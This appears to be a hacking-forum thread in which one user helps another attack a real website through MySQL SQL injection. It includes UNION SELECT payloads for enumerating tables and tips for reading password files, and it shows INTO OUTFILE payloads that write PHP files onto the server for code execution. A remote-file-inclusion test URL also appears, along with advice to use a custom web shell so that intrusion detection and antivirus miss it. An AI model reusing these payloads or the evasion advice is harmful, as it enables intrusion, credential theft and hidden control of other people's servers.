1. If code fragment, which is affected by sql injection, is processing only single row, then in case of mysql you can use "LIMIT x,y".
Example:

Code:

1+union+select+1,2,3,5,table_name,7,8+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+3,1/*


2. This is the case, when full path disclosure comes handy ...
You must find a way to make website produce error message, which will reveal full path to some components. Just try to manipulate various parameters in URI. And one more possibility - Google. Search for possible error messages within target domain.

1. you definitely try to use HEX encoding for filename, because magic_quotes will otherwise corrupt it and cause error messages.
2. You MUST have FILE privileges.
3. Try hex-encode retrieved data for evading possible collation problems
4. *BSD boxes have "/etc/master.passwd" Smile

In you current case - error message with etc/password and blank page with invalid filename ... this seems to be collation problem. So try HEX encoding. And if still there is error message, then post your example sql injection here and I will look at it ...
And mysql errors - are they detailed error messages? Or just generic "Error ..." ?

1. Use UNHEX(HEX(......))

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_unhex

2. You can't edit files in this way Smile

But you can try to use INTO OUTFILE for writing your own php files. If this will succeed, then you can have php code execution access to target system.

Some useful exmples:

http://www.webapptest.org/index.php?entry=entry070910-130659

Try this:

Code:

UNION+ALL+SELECT+'<?php+phpinfo();+?>',2,3,4+INTO+OUTFILE+'/home/www/web/1/test.php'/*


And if needed, then injected php source code can be HEX-encoded!!

can u correct me this Cool , but in HEX , please

Code:
/articles.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,'<?%20phpinfo();%20?>',24,25,26,27+from%20information_schema.tables%20INTO%20OUTFILE%20'/home/www/6bd585046bd6ac8f521ab32c1fcce8b0/web/file.php'%20/*


You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\',24,25,26,27 from information_schema.tables INTO OUTFILE \'/' at line 1

You have serious problem - "magic_quotes"! INTO OUTFILE method will work only if single quotes can be passed through. HEX encoding is not helping with INTO OUTFILE!

Try http://www.site.com/forum/1.php?cmd=http://www.yahoo.com/

Still HTTP 403?

By the way - c99 and other widely known php shells are triggering every IPS/IDS (Snort, etc) and every antivirus, mod_security, etc ...
My suggestion is to use custom written shell.
